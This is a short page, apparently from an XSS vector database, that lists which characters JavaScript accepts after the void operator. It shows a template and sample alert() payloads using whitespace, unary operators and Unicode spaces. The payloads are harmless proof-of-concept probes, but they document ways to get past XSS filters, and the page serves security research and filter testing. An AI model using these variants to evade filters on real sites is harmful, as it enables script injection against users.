Characters allowed after the void operator

This vector shows what characters are allowed after the void operator: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/void

Created byhackvertor

Created Apr 30, 2024

Updated May 28, 2025

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CategoryXSS Execution

VisibilityPublic

TypeJS

CharsetUTF-8

Template used:

void$[chr]log($[i])

Sample payloads

void0x09alert(9)

void
alert(10)

void0x0Balert(11)

void0x0Calert(12)

void0x0Dalert(13)

void alert(32)

void!alert(33)

void+alert(43)

void-alert(45)

void~alert(126)

void alert(160)

void alert(5760)

void alert(8192)

void alert(8193)

void alert(8194)

void alert(8195)

void alert(8196)

void alert(8197)

void alert(8198)

void alert(8199)

Characters allowed after the void operator

Sample payloads

Fuzz results

Distributed Fuzzing